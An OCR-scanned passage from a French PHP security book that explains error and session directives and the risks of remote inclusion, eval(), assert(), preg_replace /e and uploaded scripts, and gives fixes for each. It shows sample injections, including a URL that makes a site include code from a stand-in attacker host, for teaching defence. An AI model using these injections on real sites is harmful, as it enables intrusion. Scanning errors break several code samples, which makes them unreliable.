mauvais pour |’'image de marque d un site web et en plus, elle livre aux visiteurs des
informations sur les technologies utilisées et sur I’organisation de |’application, le
systéme de fichiers ou simplement sur I’ utilisation de PHP. De plus, si I’ erreur s affiche
suite a une tentative d'injection, alors le pirate dispose d’ informations de premiére main
pour affiner son attaque et étre plus destructeur encore. Evitez d’ aider les pirates!

error_reporting

error_reporting Ne doit pas étre confondue avec la directive précédente. Cette directive
indique a PHP le niveau d’ erreur qu’il doit signaler, alors que display_errors indique ou
afficher les erreurs identifiées.

I existe une utilisation ambigué de error_reporting. En mettant savaleur a0, on demande &
PHP de ne plus signaler aucune erreur. Ceux qui ne connaissent pasdisplay_errors utilisent
généralement error_reporting pour ne plus afficher d’ erreur sur leurs sites web. En prati-
que, cette solution revient & mettre tout le monde dehors: les pirates n’ont plus d’infor-
mations sur les erreurs qu'’ils peuvent causer dans le site, mais en fait, vous non plus!

La meilleure technique a adopter est de désactiver |’ affichage d' erreur avec la directive
display_errors et de garder un niveau de rapport d’ erreur non nul. Pour un site en production,
vous pouvez garder les erreurs les plus importantes pour pouvoir lestraiter. Sur un site atrés
fort trafic, I’annulation totale de error_reporting permettra de gagner quel ques ressources.

log_errors et error_log

Si display_errors décide de I affichage direct des erreurs sur le site, c'est & 1og_errors
d activer I’ enregistrement dans les logs et a error_log de stocker les messages d’ erreur
pour une utilisation ultérieure.

En fait, vous pouvez avoir les deux fonctionnalités actives en méme temps : affichage des
erreurs al’ écran et enregistrement dans les logs.

Par défaut, les logs systeme sont utilisés, mais vous pouvez spécifier un fichier différent
pour y inscrire les rapports d’ erreur et les analyser a téte reposée. |l est regrettable
qu'aucun outil d’ analyse des logs d’ erreurs ne soit disponible, pour identifier les problemes
les plus fréquents et aider les programmeurs dans les volumineux fichiers.

Lerevers delamédaille deslogs est évidemment une occupation de I’ espace disque. Tout ce
qui est noté doit étre stocké sur le disque dur. Méme une petite ligne de log peut finalement
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remplir le plus gros disque dur. Les messages d’ erreur peuvent d’ ailleurs étre facilement
nombreux : imaginez une boucle infinie, qui achoppe toujours sur laméme erreur. Lelog
d’erreur est rapidement rempli et finit par saturer e disque dur.

Quelques astuces pour mieux gérer ce probléeme :

 ignore_repeated_errors : Cette directive empéche I’ inscription de toutes les erreurs qui
arrivent alaméme ligne, sauf une. C'est idéal contre |es messages provoqués par une
boucle et cela économise de I’ espace.

* log_errors_max_len : cette directive tronque les messages d’ erreur a une taille maximale.
Cela économise de I’ espace, mais peut aussi compliquer la relecture des messages et
leur interprétation.

» Stockez les logs dans une partition spéciale du disque dur, de maniéere a ce que de
nombreux logs ne saturent par votre application.

L enregistrement d’ erreurs dans les logs est désactive dans la configuration par défaut de
PHP, mais activé dans la configuration recommandée. Dans tous les cas, utilisez toujours
ces directives.

assert.active

assert.active est ladirective qui autorise les assertions. Cette fonction permet de jalonner
le code avec destests et des validations, en utilisant lafonction assert (), qui se comporte
comme un test de débogage simple :

assert($condition, $alerte)
if (!$condition) {

print $alerte ;
}

Toutefois, lafonction assert () peut étre désactivée en utilisant ladirective assert.active,
au lieu de passer par disable_functions. Cela permet de placer des tests de débogage et
d’ étre certain de les avoir supprimés gréce a une simple directive.

Par défaut, cette directive est activée et est trés utile en développement et en conception,
maisil est recommandé de la désactiver en production.

Configuration des sessions

Les sessions ont toute une famille de directives qui les concernent. Les voici, avec un
descriptif de leur utilité et les recommandations de sécurité qui leur sont associées.

session.auto_start

Cette directive active le démarrage automatique des sessions. C'est toujours une
mauvaise idée, car tous les scripts n’ ont pas besoin des sessions. Cela ouvre aussi laporte
aux techniques d'imposition des identifiants de session (voir au chapitre 4).

Il est donc recommandé de désactiver cette fonctionnalité.
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session.name

session.name configure le nom des sessions. Par défaut, c’'est PHPSESSID, ce qui expose
inutilement |” utilisation de PHP sur votre site. En remplacement, vous pouvez utiliser le
nom de votre application, de maniére a étre explicite : les visiteurs seront rassurés de
retrouver le nom de votre application, plutét que celui d'un cookie cabalistique, dont
I’ existence sera contestable. Pour dérouter les pirates, il vous est également possible
d' utiliser le nom de cookie par défaut d’ une autre application, par exemple ASPSESSIONID,
ASP.NET_Sessionld, SessionID, JSESSIONID OU CFID.

Il est recommandé de donner une valeur personnalisée a cette directive.

session.use_cookies

session.use_cookies active |” utilisation des cookies pour la gestion des sessions. Comme
la démocratie, ce systéme n'est pas parfait, mais c'est le moins pire qui soit (dixit
Sir Winston Churchill). 11 peut étre utilisé en méme temps que trans_sid, tout en ayant la
préférence: si un utilisateur accepte les cookies, ils seront utilisés comme mécanisme
prioritaire.

Il est recommandé d’ activer cette directive.

session.use_only_cookies

session.use_only_cookies force |’ utilisation des cookies pour les sessions. C'est latechnique
la plus stricte, mais probablement la plus slre.

Dans lamesure du possible, activez cette directive.

session.use_trans_sid

session.use_trans_id activele mode de compatibilité universelle du transport desidentifiants
de session. C'est aussi |e mode le moins sécurisé.

Dans lamesure du possible, désactivez cette directive.

session.cookie_domain et session.cookie path

Il est possible de demander au navigateur d’envoyer les cookies uniquement a un site
particulier, via session.cookie_domain, €t avec un préfixe de chemin particulier, via
session.cookie_path, par exemple:

session.cookie_domain = www.php.net
session.cookie_path=/user/

Avec ces valeurs, le cookie ne sera envoyé qu’aux scripts du site www.php.net, dans le
dossier /user/, tel que http://www.php.net/user/login.php

Donnez des valeurs a ces deux directives pour restreindre le champ d' utilisation des cookies.
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session.gc_maxlifetime

session.gc_max1ifefime représente la durée de vie maximale d’ une session sur le servedr,
exprimée en secondes. Par défaut, cette valeur vaut 1 440 secondes, soit 24 minutes. Cette
valeur est tres généreuse et doit pouvoir étre ramenée vers 5 a 10 minutes sans perturber
outre mesure |’ ergonomie du site web.

Il est recommandé de réduire la valeur de cette directive.

session.cookie_lifetime

session.cookie_lifetime représente la durée de vie des cookies, exprimées en secondes.
0 indigque une session de navigateur, ¢’ est-a-dire jusgu’ a son redémarrage.

Plus cette valeur est petite, mieux ¢’ est, sauf quand c'est O : ladurée de vie d’ un navigateur
peut étre tres importante et il est préférable de maitriser celle de |’ identifiant.

Pensez a avoir un cookie dont la durée de vie correspond a celle de la session.

session.cookie_secure

session.cookie_secure impose la transmission des cookies sur une connexion securisee,
detype SSL. Si cen’est paslecas, le navigateur refuse I’ envoi de |’ identifiant de session,
pour préserver la confidentialité. Dans ce cas, |a session semble non fonctionnelle.

Cette directive exige la configuration des connexions SSL sur votre serveur web. Lorsque
C'est possible, utilisez-la.
session.save_path

Par défaut, PHP stocke les données dans le dossier temporaire du serveur. Or, dans ce
dossier, tous les processus sont autorisés al’ écriture et lalecture, ce qui laisse les données
de session vulnérables a une attaque via le serveur.

Constituez un dossier pour que le serveur web puissey écrire et lire, mais pas les autres
utilisateurs. Celaaméliorerale niveau de sécurité.

Sur un serveur partagé, voyez si vous pouvez stocker les sessions dans un dossier privé,
inaccessible aux autres utilisateurs. Si ce n’est pas le cas, alors utilisez le serveur de base
de données : ce dernier protégera les données avec un identifiant et mot de passe.

Par défaut, donnez une autre valeur a cette directive.
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La premiére chose afaire pour protéger une application PHP est de s assurer que le code
gui est exécuté est bien celui que vous avez écrit. C' est une précaution qui vient naturel-
lement atous les programmeurs, mais qui est parfois battue en breche par certaines fonc-
tionnalités de PHP détournées de leur utilisation principale.

Protection physique

La protection directe des scripts est un probléme généralement bien identifié et raisonna-
blement implémenté. Les scripts PHP sont placés sur |e serveur, avec une méthode dispo-
sant au moins d’un mot de passe et d’ un identifiant. Méme par un processus FTP, sur une
connexion non sécurisée, placer un script corrompu sur le serveur de production est une
opération relativement difficile pour un pirate.

Il est possible de compromettre les systémes de publication d’ un site web, mais cela sort
du cadre de notre propos.

Ecrasement de fichiers

La seule menace physique a I’intégrité des scripts provient de PHP lui-méme: il ala
capacitédelire ou d écrire desfichiers sur le serveur. |1 lui est donc possible d' écraser, de
remplacer ou de créer des scripts PHP sur le serveur. Ainsi, lorsgu’il faut écrire des
fichiers sur le serveur, vous devez vous assurer que les fichiers écrits par PHP ne sont pas
en train d’ écraser les scripts ou des fichiers déja en place.

Pour cela, les bonnes pratiques recommandent un dossier spécifique pour les écritures et
pour les données en général. Un dossier distinct pour les données dynamiques permet de
faire une différence simple entre I’ application et les données.
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La pratique recommande aussi de configurer une extension de fichiers neutre pour les
fichiers créés: cette extension ne doit pas étre associée a PHP, ou a toute autre plate-
forme dynamique sur le serveur. Par exemple, créer un fichier .ini, .txt ou .xm1 n'est
généralement pastraité par PHP. C’est donc un bon choix, lors delacréation d’ un fichier
par PHP, d’ utiliser toujours ces extensions. Evitez les extensionstelles .php, .phtm1, .php3
ou encore .inc, généralement attribuées a PHP.

Droits d’écriture

Une autre pratique intéressante est d' interdire I’ écriture des scripts PHP au serveur web.
Tous lesfichiers qui ne sont pas des données peuvent étre simplement attribués a un autre
utilisateur que le serveur web, tout en lui laissant des droits de lecture. De cette maniére,
PHP ne pourra pas effacer un script, méme par inadvertance.

Injection de code distant

Si les scripts sont généralement bien protégés, comment se fait-il que tant d’ applications
soient victimes d’injection de code PHP ? Sur les sites de sécurité, on trouve réguliere-
ment des alertes indiquant que du code arbitraire a été injecté dans une application bien
connue. C'est a cause d'une fonctionnalité bien pratique de PHP : son navigateur web
intégreé.

PHP dispose d’un navigateur web interne, qui lui permet d’ accéder a des données enre-
gistrées sur le Web. VVous connaissez certainement cet exemple :

$contenu = file_get_content('/home/web/index.html") ;

Cetteinstruction PHP lit tout un fichier et le verse dans lavariable $contenu. Lefichier ci-
dessus est local au serveur, dans le dossier /home/web/. En gjoutant les informations de
protocole et de serveur, on peut lire facilement un fichier distant avec la méme
instruction :

$contenu = file_get_content('http://www.php.net/") ;

Cette fois-ci, c'est le fichier disponible sur le site de www.php.net qui est lu. Cette fonc-
tionnalité est contrblée par la directive allow_url_fopen, qui autorise I'utilisation des
protocolesHTTP, HTTPS, FTP et FTPS depuis les fonctions de manipulation defichiers.
C' est effectivement trés pratique pour charger des ressources distantes comme desfils de
dépéches, des fichiers RSS ou ATOM, ou encore pour réaliser un robot d indexation.

Pour revenir aux problémes de sécurité, il faut savoir que cette fonctionnalité est simulta-
nément disponible avec les instructions include(), require(), include_once() €t
require_once(). Observez laligne suivante :

include('http://www.autre.site.com/bibliohteque.inc") ;

Cette instruction va chercher du code PHP sur un site distant, le raméene sur le serveur
local et I'intégre dynamiquement dans le code du script courant, puis I’ exécute comme
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du code local. Fonctionnellement, ¢’ est exactement comme uneinclusion de fichier local,
maisavec un fichier distant. C' est par ce biais que les pirates effectuent desinjections de code.

Latechnique est simple: il suffit de préparer une bibliothéque PHP sur un site public. Ce
code PHP sera inclus dans un site victime et exécutera des commandes qui ouvriront
d'autres portes aux pirates : souvent, on commence par phpinfo(). Désormais, il suffit de
trouver le moyen pour que I’ application victime effectue I'inclusion distante. Pour cela,
il suffit de modifier les appels dans lesfonctions include() et ses cousines. Notez que par
la suite, nous utiliserons le nom de include() pour représenter include(), require(),
include_once() €t require_once(), car ces quatre fonctions réalisent les mémes opérations
du point de vue de la sécurité.

Ainsi, certaines applications web sont construites avec un contrdleur, qui ala charge de
définir I’ action @ mener et de décider de |’ inclusion du code PHP nécessaire. L’ action est
définie dans I’URL appelante et elle est choisie par I' utilisateur au cours de sa visite du
site. Par exemple, étudiez I’ URL suivante :

http://www.site.com/index.php?action=affiche&id=22

Sémantiquement, on peut lire que I’ action est de type affiche et quel’ objet de |’ affichage
sera une ressource d'identifiant 22. Le contréleur convertit cette URL en action et inclut
dynamiquement le module d’ affichage a partir de I’ URL, comme ceci :

include($_GET['action']. '.inc') ;

Avec unetelle ligne de code, il devient possible de réaliser I'inclusion de code distant en
modifiant action pour qu’elle utilise le protocole HTTP :

http://www.site.com/index.php?action=http%3A%2F%2Fwww.sitedupirate.comb2Finjection&id=22
L’ inclusion va maintenant étre la suivante :
include('http://www.sitedupirate.com/injection.inc") ;

L’ application va maintenant exécuter le code du site distant comme si ¢’ était son propre
code. Le code du site distant est totalement sous le contrdle du pirate, tandis que |’ appli-
cation fonctionne encore avec les droits et les ressources du serveur. Une fois cette
premiére vulnérabilité identifiée, il est facile de lancer un script d’ analyse et de raffiner
considérablement |’ attaque.

Une partie du probléme provient bien sr du fait que les fonctions d’ accés aux fichiers et
les fonctions de flux sont mélangées avec les fonctions structurantes de type include().
Pour cela, depuis PHP 5.2, une nouvelle directive allow_ur1_include a étéintroduite : elle
permet de gérer séparément les fonctionnalités réseau de ces deux types de fonctions.

Par défaut, a11ow_ur1_include est désactivée. Il est méme recommandé de toujours lalaisser
a cette valeur et de trouver d’ autres moyens de réaliser les inclusions distantes de code.

En termes de performances, I'inclusion distante ralentit considérablement les scripts
PHP, car ce dernier doit attendre le rapatriement, I’ analyse et I’ inclusion du code avant de
poursuivre I’ exécution. 1l est donc recommandé de réaliser une copie locale pour pouvoir
y accéder plus rapidement et de profiter des caches de scripts, lorsque ¢’ est possible. De
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plus, une modération du code distant sera un minimum aréaliser : au fond, vous étes en
train de donner accés a un site extérieur sur votre application !

Si lefichier distant ne contient que des données et pas de code PHP, il existe de nombreuses
alternatives qui permettent de lire des données a distance et de les recevoir sousforme native
en PHP. Json, WDDX, SOAP, REST sont des sol utions adaptées aux échanges de données.

Exécution de code a la volée

eval()

Outre les inclusions de code distant, il y a d’ autres moyens pour exécuter dynamique-
ment du code PHP dans une application.

Un autre moyen pour modifier dynamiquement I’ exécution d'un script est | utilisation de
eval (). Cette fonction prend en argument une chaine de caracteres et I’ exécute comme s
' était du code PHP. On s en sert souvent pour assembler au dernier moment des variables
avec du texte littéral, ou bien pour exécuter des morceaux de code et affecter le résultat a
une variable.

eval('throw $this;');

Cet exemple exécute lacommande throw, qui émet une exception, avec lavariable $this.
Il est issu du code de PEAR et permet de lancer une exception a partir de son constructeur,
sans avoir apréciser laclasse del’exception : $this est alors dynamique.

Comme toujours avec le code dynamique, si la chaine de caractéres qui est exécutée par
PHP a pu étre manipul ée depuis |’ extérieur, il devient possible de faire exécuter du code
arbitraire al’ application PHP. Par exemple, voici une ligne de code dangereuse :

eval('echo $'.$_GET['nom_de_variable']) ;

Avec une telle ligne dans I" application PHP, on peut utiliser la valeur suivante pour faire
afficher phpinfo() :

$_GET['nom_de_variable']l = 'x; phpinfo();"' ;

Heureusement, I’ utilisation de eval () est assez peu fréquente. Elle résout des problémes de
compatibilité, mais il reste exceptionndl d avoir a compiler du code PHP a la derniére
minute. Et il est important de noter que ¢’ est une solution qui est trés lente, par rapport adu
code inclus, ou méme du code dgainscrit dansle script PHP. C’ est une bonne pratique que
de supprimer eval() : souvent, on arrive a sécuriser et accélérer un script en méme temps.

eval() est parfois utilisée pour déporter dans un fichier de traduction des interpolations
de variables. Par exemple:

/Il Fichier de traduction

define("AFF_PRIX", 'Le prix est de $prix Euros') ;
/I Fichier d'utilisation

eval('echo '.AFF_PRIX) ;
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Pour cetype d application, il est plus efficace d utiliser lafonction printf() :

/I Fichier de traduction

define("AFF_PRIX','Le prix est de %d Euros') ;
[/ Fichier d'utilisation

printf(AFF_PRIX, $prix) ;

Pour les cas ou plusieurs variables sont requises dans un ordre différent suivant les
traductions, printf() supporte un systéme de noms dans la syntaxe de formatage : cela
permet a cette derniere d’ étre constante, mais de pouvoir toujours utiliser le méme ordre
de variables. Comme ceci :

/l anglais

define("AFF_PRIX','The price is Euros %1$d for item %2$s') ;
Il francais

define("AFF_PRIX','Le prix de %2$s est de %1$d euros') ;
//'I'ordre des arguments est toujours le méme,

/I quelle que soit lalangue

printf(AFF_PRIX, $prix, $article) ;

Notez qu'il est trés difficile de séeuriser eval() et qu'il n’existe pas de fonction pour
protéger le contenu contre des utilisations sournoises. La meilleure protection consiste
simplement & éviter de |’ utiliser. La solution extréme consiste a gjouter eval() aladirec-
tive disable_functions pour étre certain de ne pas|’ utiliser.

Enfin, notez que la différence entre les guillemets simples et doubles prend tout son sens
danslecasdeeval() :

eval('echo $var ;') ; // affichelavariable $var
eval("echo $var ;") ; // affichelerésultat du code contenu danslavariablevar : lerésultat vaétre
différent !!

assert()

assert() est une instruction assez peu connue de PHP, mais trés utile : elle permet de
placer des points de validation dans le code et d’ émettre une alerte PHP lorsque les points
de validation ne sont pas vérifiés, par exemple:

function carre($i) {
assert('is_numeric($i)', 'Attention, nous voulons un nombre') ;
return $i * $i ;

}

Avec cette construction, une alerte est émise si la condition is_numeric($i) échoue: la
fonction carre() ci-dessus n'accepte ici que des nombres, entiers ou décimaux. Si le
script tente de calculer le carré d’ une chaine de caractéres ou d’ un tableau, alors assert ()
émet une alerte, comme celle-ci :

Warning: assert(): Assertion "is_numeric($i)" failed in /script.php on line 16
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assert() prend du code PHP sous forme de chaine de caractéeres et I’ exécute a la volée.
De ce point de vue, assert() Se comporte donc exactement comme eval() et doit étre
traité avec les mémes précautions.

Dans la pratique, les assertions sont utilisées uniquement comme points de validation
dans le code du script : elles ont rarement recours a des constructions dynamiques pour
construire les tests de validation. Cependant, ¢ est possible et il importe de garder I utili-
sation de lafonction assert() al’ cdl.

Lagrande différence entre assert () €t eval () est que les assertions sont pilotées par la direc-
tiveassert.active. || est possible de désactiver les assertions al’ aide d’ une directive de confi-
guration. En production, il est recommandé de mettre assert.active & Off danstouslescas:
celapermet de supprimer immédiatement toutes les assertions et d’ exécuter |e code comme
si elles n’ existaient pas. Pour eval (), il faudrait utiliser ladirective disable_functions.

preg_replace()

On pense rarement a preg_replace()comme source d'injection de code PHP. Elle est
pourtant victime de son succes. preg_replace() est une fonction de manipulation de texte
al’aide d' expression rationnelle, de type Perl. Elle remplace toutes les occurrences du
motif qu’elle regoit en premier argument par la chalne de caractéres en deuxiéme argu-
ment. preg_replace() permet lesinjections de code PHP, lorsque I’ expression rationnelle
utilise I’ option e. Avec cette option, preg_replace() remplace les occurrences trouvées
avec lerésultat du code PHP placé en deuxiéme argument, au lieu de faire un rempl acement
par valeur littérale. Voici uneillustration :

<?php

$html_body = preg_replace("/(<\/?)(\w+)([*>1*>)/e",
""\\1'.strtoupper('\\2"')."\\3'",
$htm1_body);

[

Cette ligne traite la chalne shtm1_body et met en majuscules toutes les balises XML
gu’elle trouve. L’ expression réguliere identifie toutes les balises, a I’aide du caractére
ouvrant <, du nom delabalise \w+ et du reste de labalise jusqu’ au signefermant « > ». Le
premier caractére est réutilisé dansle motif de remplacement souslaformede\\1. Lafin
delabalise est aussi réutilisée sans modification avec \\3. Toutefois, le corps de labalise
est passé alafonction strtoupper() avant d’ étre remis dans le code HTML. strtoupper()
est une fonction PHP qui met en majuscules la chaine de caracteres qui lui est passée.

Pour exploiter la vulnérahilité ci-dessus, il faut produire une injection de code PHP. Les
effets sont alors les mémes que ceux de lafonction eval(). Avec une valeur modifiée de
$html_body telle que:

$html_body = "<").phpinfo().printf('>" ;
le code PHP utilisé en deuxiéme argument devient :

"< Ustrtoupper (') .phpinfo().printf (') >,
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L’injection de code PHP a permis de placer un appel alafonction phpinfo().

L option e des expressions rationnelles est destinée aréaliser des remplacements comple-
xes, ou il faut appliquer des transformations aux occurrences identifiées, avant de les
réinjecter dans la chaine originde. 1l est plus sir dutiliser la fonction
preg_replace_callback() : avec cette fonction, le remplacement est délégué a une fonc-
tion utilisateur, qui est le deuxieme argument, au lieu d’ étre du code PHP dynamique-
ment évalué. Le code utilisé est maintenant écrit en dur dans le script PHP, ce qui évite
lesinjections de code PHP.

Téléchargement de fichiers

Letéléchargement defichiers est une avenue royale pour importer du code PHP pirate sur
un site. En effet, pour exécuter un script PHP, il suffit que ce dernier ait les autorisations de
lecture et qu’il soit accessible depuisle Web. Il n'y a pas besoin de droits d’ exécution ou
d’ écriture pour pouvoir exécuter un script PHP : simplement les droits de lecture.

PHP est capable de recevoir des fichiers viale Web et de les stocker sur le serveur : ¢ est
letéléchargement (upload) defichiers. L' application laplus populaire consiste a télécharger
desimages, que ce soit pour un abum de famille ou pour un avatar sur un forum. L’ image
est validée, puis mise immédiatement en production sur le site.

En termes de sécurité, le commun des programmeurs identifie le cas des fichiers exécutables
et des virus : une fois chargés sur le serveur, ces derniers sont effectivement une source
de probleme, a condition qu’ils soient exécutés. En effet, pour les activer, il faut les char-
ger, mais aussi les exécuter. Or, il est rare qu’un site web utilise des applications tierces.
En prenant méme le cas d’un serveur Apache avec PHP sous forme de module, il n'y a
gu’un exécutable, Apache lui-méme et quelques autres logiciels systéme incontournables.
Au niveau du site web, aucun exécutable n’ est disponible et aucun droit d' exécution n’ est
donné, sauf aux dossiers.

Aing, lesfichiers exécutables et |es virus représentent une menace réelle, mais, en pratique,
trésrare. Enfait, comme les fichiers sont chargés sur le serveur avec uniquement des droits
de lecture, il nereste qu’ une seule menace possible : PHP lui-méme.

En effet, les scripts|égitimes d’ une application web sur un serveur sont simplement dotés
du drait de lecture : ¢'est le serveur Apache qui leslit, puis les exécute. Aing, en chargeant
un script PHR, il n'y aplus qu’ une condition pour que ce dernier soit exécuté sur le serveur :
pouvoir y accéder depuis un navigateur web.

Dans ce cas, il devient possible de faire exécuter son propre code PHP. On ne parle plus
d'injection, mais carrément de téléchargement de vulnérabilité !

Extensions de fichiers

Une autre option consiste a appliquer aux fichiers téléchargés des extensions de fichier
neutres. C’est une pratique moins slre que la précédente, mais les dossiers hors Web ne
sont pas toujours disponibles. Par exemple, le serveur Apache peut avoir configuré les
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fichiers .inc et .php pour étre exécutés par PHP. Toutes les autres extensions de fichiers
sont simplement servies par Apache sous forme brute, comme un texte .txt, une image
.gif, .png OU . jpg, ou de tout autre format multimédia, comme .pdf ou .swf. Dans ce cas,
forcez le type du fichier téléchargé a un de ces types neutres, comme . txt, .brut, .uploaded
Oou . raw.

Attention au modérateur

La modération de contenu protége votre installation PHP contre les téléchargements de
code sournois, mais attention a ne pas rendre vulnérable le compte de I’ administrateur.
Durant la phase de modération, ce dernier doit évaluer lesfichierstéléchargés. Il est adors
important de le protéger contre des attaques détournées comme le chargement d’ un script
JavaScript sur le serveur alaplace d' une image.

Fonctions a surveiller

Certaines fonctions de PHP sont des points de passage obligés. On peut les considérer
comme deslimites de la plate-forme, dans lamesure ol elles transmettent des commandes a
des systemes externes. C'est donc a ces points frontiéres qu’il faut savoir faire toutes les
vérifications nécessaires pour ne pas transmettre de probléme provenant du Web.

Code PHP

Les fonctions suivantes ont un impact direct sur le fonctionnement de PHP : elles créent
des variables, gjoutent et exécutent du code PHP dynamiquement.

Inclusions de code PHP

Il S'agit des quatre fonctions bien connues: include(), require(), include_once() et
require_once().

Nous avons vu que ces quatre fonctions étaient la voie royale pour réaliser des injections
de code PHP dans une application web saine. Chacune de leur utilisation doit donc étre
vérifiée.

Préférez toujours les inclusions statiques, ou le nom des fichiers est écrit en dur dansle
script, aux inclusions dynamiques. En voici un exemple:

include('include/database.inc') ;

Si lesfichiersinclus sont de nature plus dynamique, comme dans |e cas des bibliotheques
de modules optionnels, testez la présence du fichier avant de I’ouvrir, a I'aide de
file_exists(). Si cette fonction représente une charge trop grande pour votre serveur,
alors enregistrez laliste des fichiers disponibles dans un tableau et testez votre candidat a
I"inclusion avec ce tableau.



Intégrité des scripts PHP

113

CHAPITRE 6

Si vous le pouvez, désactivez allow_url_fopen, ou bien utilisez PHP 5.2 ou plus récent
pour avoir les deux directives séparées, allow_url_fopen €t allow_url_include.

eval()

Comme nous I’ avons vu dans la section sur les injections de code PHP, utiliser eval() est
une mauvaise idée. Repérez toutes les utilisations de eval() et demandez-vous si vous en
avez vraiment besoin. A priori, vous devriez pouvoir Vous en passer.

preg_replace()

preg_replace() effectue des remplacements dans une chaine de caractéres, al’ aide d’ une
expression réguliere. L' option e permet d' évaluer le code de remplacement comme s'il
S agissait de code PHP,

Remplacez cette fonction par preg_replace_callback() afin d éviter les injections PHP
lorsque I'expression rationnelle utilise I'optione. Remplacez cette fonction par
str_replace(), lorsque le remplacement est simple.

extract()
extract() est unefonction qui crée des variables en masse apartir d’ un tableau, par exemple:

<?php
extract(array('a' => 1));
echo $a ;

7

Cescript vaafficher 1. Lesindex du tableau deviennent des variables et |avaleur associée
devient lavaleur de la variable. Au passage, les variables qui existent déja sont écrasées
et remplacées par les nouvelles valeurs.

Malheureusement, extract () est souvent utilisée pour ssimuler register_globals €t assurer
facilement une compatibilité ascendante. Ainsi,

extract($_POST) ;
aurale méme effet que register_globals, ou encore une boucle telle que :

foreach($_POST as $var => $val) {
$$var = $val ;
}

Nous avons déjainsisté sur lefait que register_globals est une directive dangereuse. Les
techniques de remplacement telles que celles-ci sont non seulement dangereuses, maisen
plus néfastes en termes de performances.

import_request_variables()

Cette fonction réalise exactement I'importation que ferait PHP Si register_globals €tait
active. Contrairement & extract(), qui peut servir a autre chose, cette fonction permet
uniquement d’assurer la compatibilité avec les anciennes versions de PHP.

Il est recommandé de ne jamais|’ utiliser dans les nouvelles applications.
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parse_str()

parse_str() analyse une chaine de requéte d URL pour en extraire les variables, commele
fait PHP lui-méme. Non seulement les variables identifiées sont alors créées directement
dans le code, mais elles deviennent aussi des variables globales. Observez le code suivant :

<?php
parse_str('a=1&b=2");
print($GLOBALS['a'1);
>

Cet exemple va afficher 1. Comme extract(), parse_str() peut donc servir & écraser des
variables avec d'autres variables. Le probleme est méme plus grave encore car
parse_str() crée des variables globaes, comme le montre |’ exemple précédent.

Pour neutraliser ce comportement par défaut, il faut fournir une variable en deuxiéme
argument de parse_str() : dans ce cas, les variables décodées de la chaine de caractéres
seront rangées dans un tableau et ne seront pas directement injectées dans le code ou dans
le tableau $GLOBALS.

<?php
parse_str('a=1&b=2", $mes_vars);
print_r($mes_vars);

”

register_shutdown_function()

register_shutdown_function() enregistre la fonction passée en premier argument pour
exécution lors de I’ extinction du script. Lorsque le script se termine et aprés I’ envoi de
tout le contenu au navigateur, PHP entre en mode d’extinction : il nettoie la mémoire,
détruit les objets, efface les données et exécute les fonctions enregistrées.

Actuellement, les fonctions enregistrées avec register_shutdown_function() ne tombent
pas sous la coupe de la directive max_execution_time. Aing, il est possible d exécuter
indéfiniment du code PHP avec une fonction qui a été enregistrée pour I’ extinction.

register_shutdown_function() est souvent utilisée par des bibliothéques externes, qui doivent
clore proprement leurs ressources avant que PHP ne le fasse pour elle; par exemple,
refermer un systéme de stockage pour les sessions, un fichier XML ou toute autre opération
pour laguelle la déconnexion doit se faire selon un protocole établi.

Le groupe PHP a été prévenu de ce probléme, mais a |’ heure ou nous écrivons ce livre,
aucune solution n' a été implémentée pour le régler. En attendant, utilisez disable_functions
si vous n’avez pas |’ utilité de cette fonction.

Affichages d’information

Les fonctions suivantes affichent des informations susceptibles d' intéresser les pirates. Elles
en révelent beaucoup sur votre application web et son fonctionnement. Elles permettront
aux pirates d'aler plus loin, sans compromettre directement le systeme. 1l est bon de
surveiller leur utilisation.
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phpinfo()

Lacélébre fonction phpinfo() n'est pas un probléme de sécurité en soi, mais elle affiche
tous les détails de la configuration du site. Inutile de dire que ¢’ est une mine d’ or pour un
pirate qui met lamain dessus. | peut complétement adapter son attaque en fonction dela
configuration.

Il est donc recommandé de surveiller et réduire autant que possible I’ utilisation de
phpinfo() dans votre site. Généralement, un seul phpinfo() est suffisant sur un serveur ; il
doit étre placé aladisposition des administrateurs du site et non pas dans une page publi-
gue. Une protection par session ou bien par identification HTTP est raisonnable pour
protéger cette page : ne pas la publier est méme encore mieux.

Pensez acontrdler si votre siten’apas de phpinfo() public en vérifiant directement sur les
moteurs de recherche qui passent le plus souvent sur votre site. Par exemple, en recher-
chant sur Google:

Site :www.monsite.com phpinfo " Zend engine "

vous aurez une bonne idée de ce que Googlebot atrouveé sur votre site. Testez rapidement
avec les moteurs les plus utilisés sur votre site pour étre tranquille.

Sachez qu’ en 2006, nexen.net a publié des statistiques de configuration PHP, basées
sur un échantillon de 11 000 phpinfo() recensés dans les moteurs de recherche:
http://www.nexen.net/articles/dossier/statistiques_phpinfos.php €t http://www.nexen.net/
articles/dossier/statistiques_phpinfos_:_2eme_partie.php. LeVvotrey est peut-étre...

Messages d’erreur

Avec MySQL, cet affichage est |e réle des fonctions mysqli_error() et mysqli_errno().
De nombreuses hibliothégques proposent un acces aux messages d’ erreur via une fonction
spécifique.

mysql_error() retourne le message d erreur indiqué par le serveur. S'il n'y a pas eu

d’erreur, une chaine vide est affichée. En pratique, la fonction mysql_error() est utilisée
comme Ceci :

$res = mysql_query($requete) ;
echo mysql_error();

Durant le développement, cette technique permet d' avoir un retour rapide sur un message
d erreur potentiel qui apparaitrait durant I’ exécution de la requéte. Cependant, en production,
ce message d’ erreur, S'il survient, sera affiché directement aux utilisateurs.

Contrairement aux messages d’ erreur de PHP, mysq1_error() ne sera pas masqué par la
désactivation de la directive display_errors ! Cela sera encore plus dangereux s la
requéte SQL est elle-méme affichée, en plus du message d’ erreur.

mysql_error() et mysql_errno() sont utiles s elles sont enregistrées dans un fichier de log,
pour traitement ultérieur, ou bien envoyées par courrier éectronique: bref, lorsqu’elles
sont envoyées a un responsable de |’ application et non pas al’ utilisateur du site web.
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D’une maniére générale, les conseils consacrés a cette fonction peuvent étre adaptés a
toutes les fonctions qui retournent les numéros d’ erreur et les messages d’ erreur d' une
bibliotheque externe : curl_error(), imap_errors(), pg_last_error(), €tc.

php_logo_guid()

php_logo_guid() affiche simplement unlogo PHP et, lorsque ¢ est le premier avril, un oauf
de Paques, ou easter egg en anglais, ¢’ est-a-dire une image surprise alaplace du logo PHP:
' est une blague inoffensive du groupe de dével oppement. Cette image peut indiquer la
version de PHP, méme si ce n'est pas trés précis comme solution, ou que certaines
institutions ont remplacé cette image par d autres.

Figure 6-1
Surpriselorsdel’ utilisation
de php_logo_guid

Préférez I’ utilisation d’ un logo statique a celle de cette fonction.

assert()

Commeeval(), assert() exécute du code PHP passé sous forme de chaine, mais contrai-
rement a cette premiére, assert() peut étre utile dans la programmation quotidienne.

L orsgue vous étes en production, assurez-vous que assert.active est bien désactivée : de
